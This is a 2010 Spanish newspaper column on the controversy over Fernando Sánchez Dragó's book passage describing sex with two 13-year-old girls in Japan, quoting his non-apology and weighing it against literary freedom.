• Noticias maquetadas 29.10.2010

    LUIS MARTÍNEZ / Madrid

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    Disculpa «donde no hay culpa» Order

    Fernando Sánchez Dragó pide perdón «sin sentirse culpable» por haber escrito que mantuvo relaciones sexuales con dos niñas y jura que nunca lo ha hecho

    No hay constancia de que Vladimir Nabokov contestara al crítico del Sunday Express que calificó su novela más citada como «el libro más asqueroso» que había leído en su vida. Tampoco se guarda constancia de que en ningún momento se arrepintiera de lo escrito. ¿O sí? El escritor nacido en San Petersburgo confesó en alguna entrevista que Lolita, de ella hablamos, figuraba entre sus libros más queridos (valores literarios a un lado) por el esfuerzo de hablar de un tema tan lejos de su propia «vida emocional». Una elegante manera de ser Nabokov.

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    Y ahora, Sánchez Dragó. La historia es conocida. Internet más que contarla la escupe, como casi todo lo que pasa por sus mandíbulas. Cuenta el polígrafo madrileño en su libro Dios los cría…, firmado en compañía de Albert Boadella, que tiempo atrás, en un lejano 1967 para ser precisos, tuvo una experiencia sexual con dos niñas de 13 años. En Japón. Los detalles son los que son y no seremos nosotros los que evitaremos que Planeta siga haciéndose rica.

    Por aquello de que los libros se presentan, se venden, se compran y se regalan, pero en ningún sitio figura escrito que haya que leerlos (y si figura nadie lo lee), el escándalo, la polémica o el grito ha tardado en aparecer siete semanas. Y, claro está, ha sido a lo grande. Los que no han pedido su dimisión, han exigido que dimita. Y así. «Todo esto es una muestra del encanallamiento de la sociedad en la que vivimos. ¿Una explicación? Está claro. Se acercan las elecciones y vale todo», razona desde Tokio el escritor que dice sentirse víctima de «acoso intelectual progre».

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    Todo esto lo dice Dragó después de haber pedido perdón (o algo parecido) en un artículo que se puede leer en elmundo.es. Allí especifica -después de preguntarse «¿Cómo pedir disculpas donde no existe la culpa?»- que todo lo relatado no es más que una «trivial, hiperbólica, epatante y muy literaria y literaturizada» anécdota.

    Menciona el escritor en su descargo que la fantasía siempre es inocente; que sólo los necios, en «su empeño inquisidor», en «su miedo a la libertad», son incapaces de entender que es misión del artista «libertario» atreverse a formular las «fantasías de cualquier hombre». Y, por supuesto, jura que «nunca ha tenido trato con menores».

    Y llegados a este punto, todos felices en la bronca. De un lado, es la progresía envenenada de su furia por la corrección política la culpable de todos los pecados de la humanidad desde la invención del resentimiento. Del otro, es la caverna con su procaz aliento a incienso la causante de todos los males del universo desde el descubrimiento de la caspa. Y tal.

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    Recientemente en el festival de Sitges se presentó A serbian film. Más que una película una patada en el estómago; un ejemplo extremo de libérrima creación. En ella, un esforzado chetnik, o algo peor, fornicaba con un feto. Repulsivo. Y, sin embargo, nadie en su sano y occidental juicio se atrevería a recriminar al autor ni una coma. Si acaso, su poca pericia artística o, ya puestos, su más que segura triste infancia. Y lo mismo, en lo que a ganas de sacudir conciencias se refiere, vale para Henry Miller, Charles Bukowski, Oscar Wilde, Marguerite Duras… Todos son oficiantes de la imaginación. Todo es literatura.

    El problema surge cuando miramos de cerca Dios los cría… El libro es, tal como admite su autor, una conversación transcrita por terceras personas. «En su origen [el texto] era exclusivamente oral», dice Dragó. No hay autobiografía que no sea creación. La vida es demasiado triste para darla por buena sin más. Y en ese complicado equilibrio entre lo real y lo imaginado se encuentra, sin duda, el griterío. Si todo es inventado, todo es, por extensión, mentira. Y, entonces, el lema («contra la corrección política») que preside el texto de Boadella y Dragó pierde fuerza. La idea es criticar la realidad a golpe de realidad. Si todo es inventado, todo es, por extensión, literatura. Y, entonces, ¿por qué tanto escándalo? En el equilibrio está el riesgo.

    Dice Dragó que las jóvenes «no tenían 13 años». «Eso es seguro, porque trabajaban, o eso me dijeron, en una empresa. Todo el mundo, en Japón, parece mucho más joven de lo que es, y aquellas chicas no eran excepción a la regla. Es muy difícil calcular la edad de un japonés….». Y dicho lo cual, «Lo que no puedo decir es mea culpa, porque ni la hubo ni yo, en consecuencia, me siento culpable». Una dragoniana manera de ser Dragó.

     

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